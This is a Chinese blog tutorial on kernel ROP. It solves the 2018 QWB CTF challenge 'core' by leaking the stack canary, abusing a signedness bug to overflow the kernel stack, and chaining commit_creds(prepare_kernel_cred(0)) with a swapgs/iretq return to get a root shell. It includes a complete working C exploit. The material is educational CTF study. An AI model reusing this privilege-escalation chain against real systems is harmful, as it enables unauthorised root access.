Kernel pwn 基础教学之 Kernel ROP

一颗小胡椒2022-01-28 14:48:05

前言

Kernel ROP本质上还是构造ropchain来控制程序流程完成提权,不过相较于用户态来说还是有了一些变化,这里选取的例题是2018年强网杯的赛题core,本来觉得学起来会很快的但是没想到还是踩了不少坑。

一、题目分析

本题目环境开始kaslr保护,也就意味着我们需要泄露内存地址,从解压cpio文件后从init文件中分析出以下关键信息

cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict

这表示着我们虽然不能从/proc/kallsyms中读内存地址,但是/proc/kallsyms中的地址信息已经导入了/tmp/kallsyms中,所以我们只需要读取/tmp/kallsyms中的内存地址信息就可以

然后本题insmod的模块名是core.ko,也就是我们需要分析的二进制文件。开启Canary、NX保护,如果要构造ropchain的话需要泄露Canary

1、core_ioctl

在core_ioctl中定义了三种功能,根据我们传参的不同来执行不同的功能:

0x6677889B:执行core_read函数
0x6677889C:对全局变量off赋值
0x6677889A:执行core_copy_func函数

2、core_read


关键点在copy_to_user上,因为在core_ioctl中我们可以直接对全局变量off赋值,所以我们可以利用这个任意偏移信息泄露把Canary的值泄露出来,观察变量str距离rbp偏移为0x50,而canary距离rbp为0x10,故确定off的值应为0x40即可泄露Canary。

3、core_write

这可以将用户态构造好的ropchain通过core_write赋值到内核态的全局变量name中。

4、core_copy_func

可以看到这里的参数size在判断大小时是按照int64标准来的,但是在进行copy的时候确实按照无符号整数标准来进行的,这里就造成了内核栈的溢出,结合前面的core_write函数我们可以对全局变量name赋值为用户态的ropchain,那么通过core_copy_func函数即可将ropchain放入内核栈中并造成栈溢出,进而达成控制程序流程提权的目的。

二、漏洞利用

这里先说一下kernel rop相较于用户态rop的不同点吧。在用户态中我们的目的是为了获得shell,也就是令程序执行诸如system("/bin/sh")一类的函数,然而到了kernel pwn中我们的目的从原先的getshell变成了提权,也就是执行commit_creds(prepare_kernel_cred(0))

函数,并且执行完提权函数以后我们需要从内核态返回到用户态执行system("/bin/sh")获取root权限的shell才可以,所以在我看来kernel rop变得无非就是两步:执行提权函数,返回用户态获取rootshell。从内核态返回用户态所需要用到的swapgs指令与iretq指令,前者是在从用户态进入内核态时,通过交换IA32_KERNEL_GS_BASE 与 IA32_GS_BASE 值,从而得到 kernel 数据结构块,而从内核态变回用户态时需要将原先用户态的信息再交换回来。iretq指令则用来恢复用户态的cs、ss、rsp、rip、rflags的信息。其具体布局如下所示:

+-----------+
|    RIP    |
+-----------+
|    CS     |
+-----------+
|   rflags  |
+-----------+
|    RSP    |
+-----------+
|    SS     |
+-----------+

这里再说一下自己踩到的一个坑吧,也是脑子当时没有转过来弯。在计算内核gadget地址的时候我们使用ropper得到的gadget地址需要加上offset才是真实地址,这个和用户态的一样很好理解,而这个offset的获取办法我在这里简单说一下

通过这种方式我们可以通过从/tmp/kallsyms中得到的commit_creds函数的真实地址减去0x9c8e0就可以得到vmlinux_base的地址,而刚才所说的offset就是vmlinux_base减去raw_vmlinux_base,即0xffffffff81000000的值。好了来整理一下我们的利用思路吧:1、通过/tmp/kallsyms文件获得commit_creds函数与prepare_kernel_cred函数地址,并计算出所需gadget地址。2、对全局变量off赋值0x40,通过core_read函数获得canary的值。3、构建好ropchain,使用core_write函数将ropchain复制到内核态中

4、通过core_copy_func函数中的数值溢出造成的栈溢出漏洞,将ropchain放入栈中,退出函数时完成提权并返回用户态getrootshell。

EXP:

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define CORE_READ 0x6677889B
#define CORE_OFF 0x6677889C
#define CORE_COPY 0x6677889A
size_t vmlinux_base, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
int GetAddress() {
 char *ptr;
 char buf[0x30] = {0};
 FILE* fd = fopen("/tmp/kallsyms","r");
 if (!fd) {
  puts("[-] ERROR.");
  return 0;
 }
 while(fgets(buf, sizeof(buf), fd)) {
  if (commit_creds && prepare_kernel_cred){
   printf("[+] Find: commit_creds: 0x%llx[+] Find: prepare_kernel_cred: 0x%llx", commit_creds, prepare_kernel_cred);
   return 1;
  }
  if (strstr(buf, "commit_creds")) {
   commit_creds = strtoull(buf, ptr, 16);
  }
  if (strstr(buf, "prepare_kernel_cred")) {
   prepare_kernel_cred = strtoull(buf, ptr, 16);
  }
 }
 return 0;
}
void SaveStatus() {
 __asm__(
  "mov user_cs, cs;"
  "mov user_ss, ss;"
  "mov user_sp, rsp;"
  "pushf;"
  "pop user_rflags;"
 );
}
void GetShell() {
 if (!getuid()) {
  system("/bin/sh");
 }
 else {
  puts("[-] CAN NOT GETSHELL.");
  exit(1);
 }
}
void main() {
 size_t rop[0x100];
 char user_buf[0x40] = {0};
 char* ptr;
 int i = 8;
 SaveStatus();
 GetAddress();
 vmlinux_base = commit_creds - 0x9c8e0;
 size_t offset = vmlinux_base - raw_vmlinux_base;
 size_t pop_rdi = 0xffffffff81679ba8 + offset;
 size_t pop_rdx = 0xffffffff810a0f49 + offset;
 size_t mov_rdi_rax = 0xffffffff8106a6d2 + offset; // mov rdi, rax; jmp rdx;
 size_t swapgs = 0xffffffff81a012da + offset;  // swapgs; popfq; ret;
 size_t iretq = 0xffffffff81050ac2 + offset;   // iretq; ret;
 int fd = open("/proc/core", 2);
 if (!fd) {
  puts("[-] OPEN /proc/core ERROR.");
  exit(0);
 }
 
 ioctl(fd, CORE_OFF, 0x40);
 ioctl(fd, 0x6677889B, user_buf); //canary in buf.
 size_t canary = ((size_t*)user_buf)[0];
 printf("[+] Find canary: 0x%llx", canary);
 //commit_creads(prepare_kernel_cred(0));
 rop[i++] = canary;
 rop[i++] = 0;
 rop[i++] = pop_rdi;
 rop[i++] = 0;
 rop[i++] = prepare_kernel_cred;
 rop[i++] = pop_rdx;
 rop[i++] = commit_creds;
 rop[i++] = mov_rdi_rax;
 //swapgs --> iretq: rip, cs, rflags, rsp, ss. GetShell
 rop[i++] = swapgs;
 rop[i++] = 0;
 rop[i++] = iretq;
 rop[i++] = (size_t)GetShell;
 rop[i++] = user_cs;
 rop[i++] = user_rflags;
 rop[i++] = user_sp;
 rop[i++] = user_ss;
 write(fd, rop, sizeof(rop));
    ioctl(fd, CORE_COPY, 0xffffffffffff0000|0x100);
}
kernel
本作品采用《CC 协议》,转载必须注明作者和本文链接
kernel-pwn之ret2dir利用技巧
Kernel-Pwn-FGKASLR
2023-07-10 10:24:04
是KASLR的加强版,增加了更细粒度的地址随机化
Kernel PWN从入门到提升
2023-03-23 10:17:57
所以我决定用此文章结合一道不错的例题尽可能详细的来讲一下kernel pwn从入门过渡到较高难度的部分,供想要学习kernel pwn的小伙伴们参考。文件系统kernel题一般都会给出一个打包好的文件系统,因此需要掌握常用到的打包/解包命令。
可是当我们开启了smap保护之后,内核态就没有办法访问用户态的数据,此时当我们再hijack tty_operation到我们的用户态时,我们的kernel就会panic,更别说劫持执行流到用户态上执行rop了。当我们调用msgsnd时,在linux内核中会调用do_msgsnd。
然而在内核态中,堆内存的分配策略发生了变化。并把这个slab划分为一个个object,并将这些object组成一个单向链表进行管理,这里需要注意slub系统把内存块当成object看待,而不是伙伴系统中的页。本次选择演示的例题是2019-SUCTF的sudrv例题,查看start.sh中的信息可以发现开启了kaslr保护与smep保护。
条件竞争类型的漏洞
笔者分享的两种利用方式都不算困难,但是需要注意
前言Kernel ROP本质上还是构造ropchain来控制程序流程完成提权,不过相较于用户态来说还是有了一些变化,这里选取的例题是2018年强网杯的赛题core,本来觉得学起来会很快的但是没想到还是踩了不少坑。iretq指令则用来恢复用户态的cs、ss、rsp、rip、rflags的信息。
Kernel从0开始
2021-12-10 13:42:20
网上一大堆教编译内核的,但很多教程看得特别迷糊。第一次编译内核时,没设置好参数,直接把虚拟机编译炸开了。所以就想着能不能先做个一键获取内核源码和相关vmlinux以及bzImage的脚本,先试试题,后期再深入探究编译内核,加入debug符号,所以就有了这个一键脚本。
Kernel pwn CTF 入门 – 1
2021-10-21 16:39:08
01简介内核 CTF 入门,主要参考 CTF-Wiki。02环境配置调试内核需要一个优秀的 gdb 插件,这里选用 gef。
一颗小胡椒
暂无描述